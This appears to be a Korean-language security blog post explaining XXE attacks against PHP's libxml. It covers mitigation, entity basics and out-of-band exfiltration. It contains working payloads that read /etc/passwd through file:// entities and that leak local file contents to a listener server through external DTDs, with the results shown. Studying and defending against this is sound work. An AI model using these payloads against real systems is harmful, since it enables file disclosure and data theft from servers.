Post

XXE, XML eXternal Entity

eXternal Entity ATTACK XML에서 동적으로 외부 리소스를 받아오기 위해 external entity를 사용할 때, XML Request를 파싱하는 페이지에서 발생

  • SSRF를 유도할 수 있다.
  • Port Scan을 수행할 수 있다.
Mitigation

XML은 보통 불특정 client와 통신하는데 사용되기 때문에 DTD 요소들을 선택적으로 validate, escape하는 것이 어렵다. 따라서 XML processor가 XML document에 포함된 다른 DTD를 거부하고 local static DTD만 사용하도록 설정해야 한다.

1
2
3
libxml\_disable\_entity\_loader(true)
libxml\_use\_internal\_errors(true)    // 이 것도 해주면 좋다.

DTD(Document Type Definition),
1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY var "asdfqwer">
]>
<result>&var;</result>

1
2
3
asdfqwer
SimpleXMLElement Object ( [var] => SimpleXMLElement Object ( [var] => asdfqwer ) )

eXternal Entity, SYSTEM / PUBLIC

URI로는외부 서버 주소 또는파싱이 이루어지는 서버에서 지원하는 wrapper 를 사용할 수 있음

1
2
3
4
5
6
<!ENTITY var PUBLIC "" "http://127.0.0.1:8080/web/hack/xxe/hello">
<!ENTITY var SYSTEM "http://url">
<!ENTITY var SYSTEM "file://path">
<!ENTITY var SYSTEM "gopher://">
...

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY var SYSTEM "file:///etc/passwd">
]>
<result>&var;</result>

1
2
3
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
SimpleXMLElement Object ( )

* simplexml\_load\_string( , ,LIBXML\_NOENT)를 주면 ENTITY reference(e.g., &var;)를 모두 실행 결과로 대체해버린다. 따라서 Object가 비어있게 된다. 이 flag를 주지 않으면 external entity가 resolve(=expand) 되지 않는다.

Out-of-band data retrieval

PARAMETER ENTITY Declaration

서버에서 외부 리소스를 불러온 결과 데이터를 출력해주지 않게 대부분이므로 Out-of-band 방식으로 데이터를 받아보아야 한다.

EXTERNAL (PARSED) PARAMETER ENTITY Declaration: LOAD

외부 .dtd를 불러오는데 사용 하는데, 정의하고 나서 바로 뒤에 %var를 적으면 해당 변수를 resolve하기 위해 외부 리소스에 요청하게 된다. 즉 %load를 문자열에 넣거나 하는게 아니라, 그냥 적어주면 이를 파싱하면서 외부 리소스 요청이 일어난다.

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY % load SYSTEM "http://127.0.0.1:8779">%load;
]>
<result></result>

1
2
3
4
$ nc -l -p 8779
GET / HTTP/1.0
Host: 127.0.0.1:8779

이런 식으로.

INTERNAL (PARSED) PARAMETER ENTITY Declaration: EJECT

Note ) External Param과 다르게 실제로 % eject 가 사용 될 때 요청한다.

1
2
<!ENTITY % eject "this is Internal Parameter">

다음과 같이 사용하면 될 것 같지만, 안된다.

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY % intparam "this is Internal Parameter">
<!ENTITY var "var include this : %intparam;">
]>
<result></result>

Note ) Parameter entity references는 internal DTD 내부에서 사용될 수 없다. 즉, external DTD에서만 사용할 수 있다.

따라서 다음과 같은 방식으로 사용해야만 한다.

  1. Internal parameter entity를 internal dtd(현재 parse되는 dtd) 또는 external.dtd에 선언한다.
  2. external.dtd를 구성한다. 이 때 Internal parameter entity를 사용할 수 있다. (어디에 선언되어 있든.)
  3. internal dtd에서 External parameter entity를 이용해 external.dtd를 불러온다.
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY % intparam SYSTEM "file:///home/ubuntu/workspace/web/hack/xxe/hello">
<!ENTITY % load SYSTEM "http://127.0.0.1/xxe/external.dtd">%load;
]>
<result>&var;</result>

external.dtd :

1
2
3
4
5
6
7
   


<!ENTITY % ext\_intparam "this is Internal Parameter">
<!ENTITY var "var include this : %ext\_intparam;">
<!ENTITY var2 "var2 include this : %intparam;">

result :

1
2
3
var include this : this is Internal Parameter
SimpleXMLElement Object ( )

Limitation
  1. DTD에 내용을 삽입하거나, DTD 자체를 삽입할 수 있어야 함. * DTD는 XML문서 당 하나만 존재할 수 있다.
  2. SYSTEM으로 불러오는 external resource가 DTD 문법에 어긋나지 않아야 함.
  3. Binary는 불러올 수 없음.
Retrieve

서버 측에서 parse되는 XML의 DTD를 조작할 수 있다고 가정. 이 DTD가 Internal dtd다.

  1. Internal dtd에 Internal Parameter Entity를 사용해 읽어올 데이터를 Entity로 지정.
  2. external.dtd를 내 서버에 올려두고, 1에서 선언한 Entity를 external.dtd에서 불러오도록 함. 이 때 단순히 불러오는 것 만으로는 출력되지 않기 때문에 다시 내 서버로 External entity 요청하여 내 서버 측 로그에 유출 데이터가 찍히도록 함.
  3. External Parameter Entity를 이용해 타겟 서버의 Internal dtd가 external.dtd를 불러오도록 xml 삽입. * 보내는 데이터에 개행이 포함되어 있는 경우 http 대신 ftp | gopher를 사용한다.

Injection dtd

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY % eject SYSTEM "file:///home/ubuntu/workspace/web/hack/xxe/hello">
<!ENTITY % load SYSTEM "http://127.0.0.1:8080/web/hack/xxe/external.dtd">%load;
]>
<result></result>

external.dtd

1
2
3
4
<!ENTITY % var SYSTEM "http://127.0.0.1:8123/%eject;">%var;
============
parser error : Invalid URI: http://127.0.0.1:8123/%eject;

이렇게 구성하면 될 것 같지만, external.dtd에서 % var를 파싱하는 시점에 아직 % eject가 resolve되지 않아 Invalid URI가 발생. % eject는 실제로 사용될 때 resolve되므로, 이를 문자열에 넣는 식으로 한 번 더 거쳐야 한다.

1
2
3
4
<!ENTITY % var "<!ENTITY &#x25; result SYSTEM 'http://127.0.0.1:8123/%eject;'>">%var; %result;
============
parser error : Invalid URI: http://127.0.0.1:8123/hello

그러나 resolve 되었음에도, Invalid URI가 발생한다.

This post is licensed under CC BY 4.0 by the author.